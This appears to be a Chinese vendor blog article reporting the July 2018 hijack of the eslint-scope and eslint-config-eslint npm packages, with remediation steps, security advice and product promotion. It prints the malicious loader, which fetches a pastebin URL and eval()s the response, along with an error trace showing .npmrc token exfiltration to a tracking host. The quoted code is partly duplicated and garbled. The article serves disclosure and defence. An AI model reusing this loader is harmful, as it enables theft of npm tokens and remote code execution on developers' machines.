2018年7月12日,全球最大的面向开源及私有软件项目的托管平台GitHub对外宣称,一名黑客入侵了ESLint ,并利用Npm账户发布了包含了恶意软件的版本3.7.2,用户在安装时,恶意代码将会自动执行,访问某个网站同时会把用户的.npmrc文件的内容发送给黑客自己,而在.npmrc文件中一般包含发布到NPM的访问令牌。

ESLint被黑客入侵,开源社区的安全何去何从-LMLPHP

恶意程序包的版本是eslint-scope@3.7.2和eslint-config-eslint@5.0.2,目前npm已经撤销在2018-07-12 12:30 UTC之前发出的所有访问令牌,以及下架了受影响的包,因此,受此攻击影响的所有访问令牌都不再可用。用户应彻底删除对应版本的包及重新获取访问令牌。
经技术人员分析,如果出现以下错误信息,说明您的账户安全存在潜在风险:

[2/3] ? eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1Command: node ./lib/build.jsArguments: Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scopeOutput:undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^SyntaxError: Unexpected end of input
    at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
    at emitOne (events.js:116:13)
    at IncomingMessage.emit (events.js:211:7)
    at IncomingMessage.Readable.read (_stream_readable.js:475:10)
    at flow (_stream_readable.js:846:34)
    at resume_ (_stream_readable.js:828:3)
at _combinedTickCallback (internal/process/next_tick.js:138:11)

下面这段代码尝试加载一个地址为http://pastebin.com/raw/XLeVP82h 的URL。
同时,也试图发送用户的.npmrc向某个未知地方。

    try{
        var https=require('https');
        https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
        r.setEncoding('utf8');
        r.on('data',(c)=>{
        eval(c);
        });
        r.on('error',()=>{});
        
        }).on('error',()=>{});
        }catch(e){}
         eval(c);
        });
        r。on(' error ',()=> {});
        
        })。on(' error ',()=> {});
        } catch(e){}

如果您已经通过GitHub引用了这段有毒代码,请立即采取以下措施:

  1. 引脚的版本eslint-scope来3.7.1,一种办法是添加resolutions到您的package.json

           "resolutions": {           "eslint-scope": "3.7.1"   }
    验证依赖版本yarn list eslint-scope。它应该打印出来eslint-scope@3.7.1
  2. 如果可能,请使用package-lock.json或yarn.lock将其存放在您的仓库中。即使yarn outdated显示有新版本可用,也不要升级到3.7.2 。

  3. 撤销您的NPM令牌。您可以登录https://www.npmjs.com/,从帐户下拉列表中选择“令牌”菜单并删除页面上列出的所有令牌。如果将NPM挂钩到外部服务,请确保重新创建相关令牌。

以下内容摘自GitHub官网:

该段大意为:

信息共享是件好事,但用户信息的安全性却不容忽视。据称,本次事件发生的主要原因是,npm维护者的账户遭到了黑客盗用,这个维护者在其他站点上也重复使用了他们的npm密码,并且他们也没有在他们npm账户上开启双重身份验证,所以才导致此类事件的发生。

对于这种情况的发生,ESLint团队深表遗憾。同时也希望其他软件包维护者可以从这次事件中吸取经验教训并共同提高整个npm生态系统的安全。

作为从事控件开发20余年,深谙用户数据安全重要性的葡萄城官方为npm软件包维护者和用户提供一些建议:

  • 软件包维护者和用户应当避免在多个不同的站点上重复使用相同的密码。像1Password或LastPass这样的密码管理器可以帮助解决这个问题。

  • 包维护者应该开启npm双重身份验证npm 在这里有一个教程

  • 如果您在使用Lerna,则可以按照此教程进行操作。

  • 软件包维护者应审核并限制有权在npm上发布的人数。

  • 软件包维护者应当谨慎使用任何自动合并依赖项升级的服务,或者尽量使用基于HTML5的零依赖纯前端软件,比如SpreadJSWijmoJS

  • 应用程序开发人员应使用锁文件(package-lock.json或yarn.lock)来阻止软件包自动更新以避免这种损失的再次发生。

随着互联网技术的发展,黑客入侵已经向着规模化,全球化的程度迈进。仅2018年初,就已经出现了数十起足以引起国际重视的网络信息安全事件。本次黑客入侵不是开源社区安全事件的第一起,也不会是最后一起,如何杜绝网络安全隐患,是每个开发人员必须面对的头等大事。除了做好自身安全防护外,选择使用一整套成熟的商业软件,如葡萄城的活字格SpreadJSActiveReports等也是一个不错的选择。

09-20 20:04